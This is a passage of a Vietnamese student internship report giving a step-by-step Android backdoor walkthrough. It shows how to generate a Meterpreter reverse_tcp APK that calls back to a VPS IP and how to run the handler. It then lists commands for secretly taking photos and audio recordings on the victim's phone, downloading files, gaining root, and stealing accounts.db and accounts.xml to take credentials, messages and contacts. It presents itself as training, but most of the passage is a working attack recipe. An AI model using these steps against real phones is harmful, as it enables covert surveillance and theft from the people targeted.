BÁO CÁO THỰC TẬP CUÔI KỲ
39
Exploit
Màn hình sẽ như sau, lúc này ta đang chờ một máy android mở backdoor.
Thử với một máy Galaxy nexus giả lập, tải về files.apk, cài đặt và mở lên được
giao diện như dưới, nhấp vào nút reverse_tcp:
BÁO CÁO THỰC TẬP CUÔI KỲ
40
Vậy là ta đã kết nối thành công tới máy Android này, ở msfconsole sẽ như sau:
BÁO CÁO THỰC TẬP CUÔI KỲ
41
Để xem thông tin về máy, nhập lệnh SysInfo
Sử dụng camera:
Để xem danh sách camera, nhập webcam_list
Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera xem ở
danh sách camera ở phần trước. Ví dụ như sau:
BÁO CÁO THỰC TẬP CUÔI KỲ
42
File hình đã chụp từ camera của máy android là FrumITki.jpeg được lưu ở
/root của máy
Ghi âm
Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy
BÁO CÁO THỰC TẬP CUÔI KỲ
43
Lấy file từ sd card
Để vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư
mục
Ví dụ ở đây, ta tải file App.apk trong thư mục download của sdcard
BÁO CÁO THỰC TẬP CUÔI KỲ
44
Dùng lệnh cd /sdcard/Download để vào thư mục
BÁO CÁO THỰC TẬP CUÔI KỲ
45
Như trên hình, ta thấy 1 file là App.apk, để tải về máy, ta nhập lệnh
Download App.apk
Và file này sẽ được tải về thư mục root của máy Kali
BÁO CÁO THỰC TẬP CUÔI KỲ
46
B. Thực hiện trên môi trường internet
I.Cài mã độc trên VPS: Cài đặt Metasploit lên VPS
1. Giới Thiệu
Metasploit là một công cụ khai thác lỗ hổng của các hệ điều hành, dùng để kiểm
tra, tấn công và khai thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ
hướng đối tượng Perl, với những components được viết bằng C, assembler, và
Python. Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows,
MacOS.
2. Cài đặt
Ta vào trang chủ của Metasploit để tải Metasploit phiên bản mới nhất về :
http://www.metasploit.com/ ( hoặc ta có thể vào trang download của Metasploit :
http://www.rapid7.com/products/metasploit/download.jsp ).Ta chọn phiên bản
Community miễn phí và dùng cho nghiên cứu.
Sau khi tải về, ta cài đặt như những phần mềm khác.
Chọn folder cài đặt:
BÁO CÁO THỰC TẬP CUÔI KỲ
47
Cổng của dịch vụ Metasploit sẽ sử dụng, mặc định là 3790:
Chọn server và ngày hết hạn ( ta để mặc định):
BÁO CÁO THỰC TẬP CUÔI KỲ
48
Quá trình cài đặt của Metasploit:
BÁO CÁO THỰC TẬP CUÔI KỲ
49
Tiến trình hoàn tất, chọn Finish. Vậy là ta đã cài đặt thành công Metasploit.
II. Từ VPS điều khiển thiết bị ( điện thoai Android) qua internet
Đầu tiên, ta sử dụng Kali Linux để tạo file APK làm backdoor để hack vào
Android như trên mang Lan với địa chỉ IP là địa chỉ của VPS (nếu ta đăng kí sử dụng
Metasploit trên VPS máy ảo của Metasploit.com thì địa chỉ là địa chỉ của máy ảo VPS
được cung cấp).
Chúng ta vẫn sử dụng lệnh Msfpayload
android/meterpreter/reverse_tcp lhost=14.0.21.184 lport=4444 R >
/root/Desktop/files.apk (ở đây địa chỉ VPS là 14.0.21.184)
BÁO CÁO THỰC TẬP CUÔI KỲ
50
Ta khởi động Metasploit Console trên VPS ( ta phải đăng nhập vào địa
chỉ máy ảo VPS bằng Remote Desktop Connection trước nếu dung máy ảo
VPS đăng kí sử dụng qua mạng ).
Kế tiếp ta thực hiện các bước xâm nhập giống như hack diện thoại
android bằng Kali Linux, chỉ khác ở địa chỉ IP là IP của VPS:
Use exploit/multi/handler
Set lhost 14.0.21.184 (địa chỉ IP của máy VPS)
Set lport 4444
Run (giống lệnh exploit trên Kali Linux)
BÁO CÁO THỰC TẬP CUÔI KỲ
51
S
a
u
k
h
i
m
á
y
n
ạ
n nhân tải về file apk đã được tạo ra và mở lên, máy android đó sẽ bị hack.
BÁO CÁO THỰC TẬP CUÔI KỲ
52
C. Một số câu lệnh sử dụng trong Metasploit
Để biết thêm về các lệnh có thể thực hiện ta dùng help
Để xem thông tin về máy, nhập lệnh SysInfo
Để xem các tác vụ đang chạy gõ ps
Xem ip của máy bị hack ta gõ ipconfig
Xem danh sách thư mục, file gõ ls
• Sử dụng camera:
Để xem danh sách camera, nhập webcam_list
Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera xem
ở danh sách camera ở phần trước.
• Ghi âm
Để thực hiện ghi âm, nhập lênh record_mic x với x là thời gian ghi âm và file
ghi âm sẽ được lưu về máy
• Lấy file từ SD card
Để vào SDcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư
mục
Dùng lệnh cd /sdcard/Download để vào thư mục
Để tải về máy, ta nhập lệnh: Download App.apk và file này sẽ được tải về thư
mục root của máy Kali
Để đánh cắp tin nhắn hay danh bạ thì ta sao lưu và ta chỉ cần tải file sao lưu
về.
Để upload gõ lệnh upload
Gõ shell để vào lệnh
kiểm tra xem có root chưa gõ
BÁO CÁO THỰC TẬP CUÔI KỲ
53
su
whoami
Nếu báo unknown id is 0 tức là đã root
ls -l danh mục file và các quyền
cd để chuyển hướng thư mục
Để ăn cắp tài khoản, mật khẩu, file apk và thay đổi các quyền
/DATA
/DATA/APP
/DATA/SYSTEM
/DATA/SYSTEM/accounts.db
/DATA/SYSTEM/SYNC/accounts.xml
/SYSTEM/APP/
Để xem danh sách và down load các file hay thay đổi các file trong ROM
đầu tiên phải gõ lệnh SU để có toàn quyền truy cập
Để có đường dẫn đầy đủ dùng lệnh chmod -R 777 path to filename
Ví dụ chmod -R 777 /data
^C để quay lại
Sử dụng SQLite để mở file db
BÁO CÁO THỰC TẬP CUÔI KỲ
54
D. Video hướng dẫn
o Hướng dẫn cài đặt Genymotion:
https://www.youtube.com/watch?v=cwJTJHnIueA&feature=youtu.be
o Hướng dẫn cài đặt iCalendar tren Android SDK:
https://www.youtube.com/watch?v=4Vquz5jim0g
o Hướng dẫn cài đặt Kali Linux trên VMware:
https://www.youtube.com/watch?v=DSTEsV6aGqM&feature=youtu.be
o Hướng dẫn cài đặt Metasploit trên VPS:
https://www.youtube.com/watch?v=hy-5XzgpkrU&feature=youtu.be
Recommended